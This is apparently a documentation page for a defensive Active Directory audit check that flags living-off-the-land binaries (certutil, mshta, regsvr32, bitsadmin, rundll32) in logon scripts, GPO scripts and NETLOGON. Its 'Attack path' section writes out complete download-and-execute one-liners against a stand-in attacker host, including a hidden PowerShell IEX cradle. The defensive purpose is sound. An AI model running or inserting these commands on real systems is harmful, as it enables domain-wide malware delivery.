ADSCRIPT-005: LOLBins Usage in Scripts
- Platform
- Active Directory
- Category
- AD Logon Scripts & Network Shares
- Severity
- High
- Zero Trust pillar
- Applications & Workloads (weight 2)
- Golden fixtures
- 3
- Branch coverage
- Observed: fixtures prove the verdicts they exercise
- Provenance
- baseline
What it checks
The check enumerates four logon-script delivery surfaces and walks each script body looking for LOLBin invocations: 1. user.scriptPath: every user object in the domain is read via LDAP filter (&(objectClass=user)(scriptPath=*)) and the value is resolved to a file on \\<domain>\NETLOGON. The script content is fetched and tokenized. 2. GPO startup / logon scripts: every GPO is inspected for the Group Policy Client-Side Extension GUIDs {42B5FAAE-6536-11D2-AE5A-0000F87571E3} (Scripts CSE) on gPCMachineExtensionNames and gPCUserExtensionNames. When present, the check parses scripts.ini under \\<domain>\SYSVOL\<domain>\Policies\<GPO GUID>\{Machine|User}\Scripts\ and reads each referenced .bat, .cmd, .vbs, .ps1, .js, .wsf file from the Startup, Shutdown, Logon, or Logoff subfolder. 3. Group Policy Preferences Files and Scheduled Tasks: Files.xml and ScheduledTasks.xml under the Preferences\ folder of each GPO are parsed for fromPath and command attributes that reference scripts or executables, because GPP can stage and execute arbitrary binaries at the same trigger points. 4. NETLOGON content: the entire NETLOGON share (\\<domain>\NETLOGON, which maps to SYSVOL\<domain>\scripts) is enumerated recursively for orphaned scripts that may be referenced by legacy systems, third-party tools, or scriptPath values that no longer point to a current user. Each script body is matched (case-insensitive, with word boundaries) against the LOLBin signature list. Detection is text-based and not execution-based: the check reports any reference, including inside comments, because comments in batch and VBScript are commonly used to stage payloads and a defender wants to see them. For each hit the check emits the GPO or scriptPath that delivered the script, the relative path on SYSVOL or NETLOGON, the line number, the LOLBin binary name, the surrounding command line, and an inferred technique (download, execute, decode, proxy execution) based on common argument patterns documented by the LOLBAS project.
Why it matters
Logon scripts run in the user security context the moment the user authenticates, before EDR baselines complete and before the user has a chance to notice anything. Because the script is delivered from a trusted domain controller share and executed by a signed shell (cmd.exe, wscript.exe, powershell.exe), the activity blends into the noise floor of normal corporate logon. LOLBins compound the problem in three ways. First, they defeat application allowlisting: a Microsoft-signed certutil.exe will execute under the default AppLocker, Windows Defender Application Control, and Software Restriction Policies rules because the signer is Microsoft, even when the rule set explicitly blocks unknown binaries. Second, they defeat AV file scanning: certutil -urlcache -split -f http://attacker/payload.exe c:\users\public\p.exe writes the payload to disk through a trusted process, and many AV products do not scan the resulting file with the same scrutiny they apply to a download by an unsigned binary. Third, they defeat process-creation telemetry that filters by image path: a SIEM rule that alerts on "powershell.exe with -enc" will miss the same payload staged by mshta http://attacker/p.hta or regsvr32 /s /n /u /i:http://attacker/p.sct scrobj.dll. The blast radius of a single tampered logon script is the entire population of users it is assigned to: a malicious line in the default domain logon script can deliver a foothold to every employee in the company within one business cycle. Threat actors documented as using exactly this pattern include APT29 (certutil for staging), TA505 (mshta for initial access), Lazarus (regsvr32 scriptlet execution), FIN7 (rundll32 with custom DLL exports), and ransomware operators (bitsadmin to retrieve subsequent stages). Microsoft attack-surface reduction rules ASR_BlockOfficeChildProcess, ASR_BlockExecutionOfPotentiallyObfuscatedScripts, ASR_BlockWin32APICallsFromOfficeMacros, and ASR_UseAdvancedProtectionAgainstRansomware specifically target this class of abuse, but they are off by default.
Attack path
1. Foothold: the operator obtains write access to a logon script. The most common paths are (a) compromise of an account in a group that has been delegated GPO edit rights or write access to a specific OU GPO (frequently Domain Admins, but often help-desk or workstation-admin groups that have been over-delegated), (b) write access to \\<domain>\SYSVOL\<domain>\scripts (NETLOGON) by virtue of misconfigured Authenticated Users or Everyone ACEs, or (c) compromise of a single user whose scriptPath points at a script the operator can replace on a non-DC file share. 2. Payload staging: the operator appends a single line to an existing logon script rather than uploading a new one, because diff-based detections (SYSVOL change monitoring, GPO version increments) are less likely to fire when an established file is edited. Typical lines: certutil -urlcache -split -f http://attacker.tld/stage2.exe %TEMP%\u.exe & %TEMP%\u.exe mshta http://attacker.tld/p.hta regsvr32 /s /n /u /i:http://attacker.tld/p.sct scrobj.dll bitsadmin /transfer x /priority foreground http://attacker.tld/p.exe %TEMP%\b.exe & start %TEMP%\b.exe rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.tld/c')") 3. Triggering: the operator waits for the next mass logon event (Monday morning), or forces it by spraying scheduled-task wake-on-LAN signals, or by waiting for laptops to dock. Every targeted user runs the line in their own context the next time they authenticate. Because the script is delivered from SYSVOL by GPO or by scriptPath, the execution is attributed to a signed shell (cmd.exe / wscript.exe / powershell.exe) launched by userinit.exe, which is exactly the parent-child relationship the SOC expects for legitimate logon scripts. 4. Establishing post-exploitation: each beacon checks in. Because the delivery was many-to-one, the operator obtains hundreds or thousands of footholds in a single hour, which is sufficient to begin lateral movement, enumerate Domain Admin sessions with BloodHound, kerberoast (T1558.003), and pivot toward DCSync (T1003.006) without having to perform any further mass action that would draw attention. 5. Persistence and concealment: the operator may further obfuscate by base64-encoding the URL, using IP-literal addresses, comma-separating the command across multiple cmd.exe variables, or splitting it across a chained call to a benign-looking helper script also on NETLOGON. Some operators rotate the LOLBin used per week to defeat single-signature rules. 6. Cleanup: once persistence is established by other means (scheduled task, WMI subscription, service install, AD object backdoor), the operator can remove the line from the logon script to reduce future detection surface, leaving behind a quiet implant population.
How Guerrilla assesses it
Guerrilla performs the audit in four passes, all read-only and runnable as any authenticated user. Pass 1 issues an LDAP search against the configured domain controller with filter (&(objectCategory=person)(objectClass=user)(scriptPath=*)) requesting the scriptPath, sAMAccountName, and userAccountControl attributes; for each result it constructs \\<domain>\NETLOGON\<scriptPath> and reads the file content with a streaming read so files up to 10 MB are tokenized in place. Pass 2 enumerates GPOs via System.DirectoryServices over the LDAP container CN=Policies,CN=System,<defaultNamingContext> and parses gPCMachineExtensionNames / gPCUserExtensionNames on each GPC object for the Scripts CSE GUID {42B5FAAE-6536-11D2-AE5A-0000F87571E3}; when present the corresponding \\<domain>\SYSVOL\<domain>\Policies\<GPO GUID>\Machine\Scripts\scripts.ini and User\Scripts\scripts.ini are parsed for CmdLine / Parameters entries and each referenced script body is read from Startup\, Shutdown\, Logon\, or Logoff\. Pass 3 reads Files.xml and ScheduledTasks.xml under Preferences\ in every GPO and extracts the fromPath, command, and arguments fields. Pass 4 walks NETLOGON recursively for orphaned .bat, .cmd, .vbs, .js, .wsf, .ps1 files not referenced by any of the above sources. Each script body is matched (case-insensitive, with token boundaries) against an internal LOLBin signature table sourced from and kept in sync with the LOLBAS project (lolbas-project.github.io). For each hit the check records: the delivery vector (scriptPath / GPO name / GPO GUID / NETLOGON path), the script relative path, the line number, the LOLBin name, the literal command line, and an inferred technique tag (Download, Execute, Decode, ProxyExecution, Persistence). The finding is emitted as FAIL when any hit is observed; the operator is expected to triage each occurrence and either remove it, justify it in writing, or replace it with a non-LOLBin equivalent.
Recommended value
No LOLBins usage in logon scripts unless documented and operationally justified
Remediation
Scan all scripts for references to known LOLBins including certutil, bitsadmin, mshta, regsvr32, rundll32, wscript, cscript, msiexec, installutil, regasm, regsvcs, msconfig, and control. Review each occurrence to determine if the usage is legitimate. Replace LOLBins with safer alternatives where possible. Document any operationally required LOLBins usage.
Fixture-proven verdicts
Every verdict below is proven by a golden fixture in the module's gating test suite. This table derives from the last green run; it cannot be edited by hand.
| Scenario | Expected verdict |
|---|---|
| clean | PASS |
| known-bad | FAIL |
| throttled | Not Assessed |
Framework mappings
- NIST SP 800-53
- CM-6, SI-3, SI-7
- MITRE ATT&CK
- T1059, T1218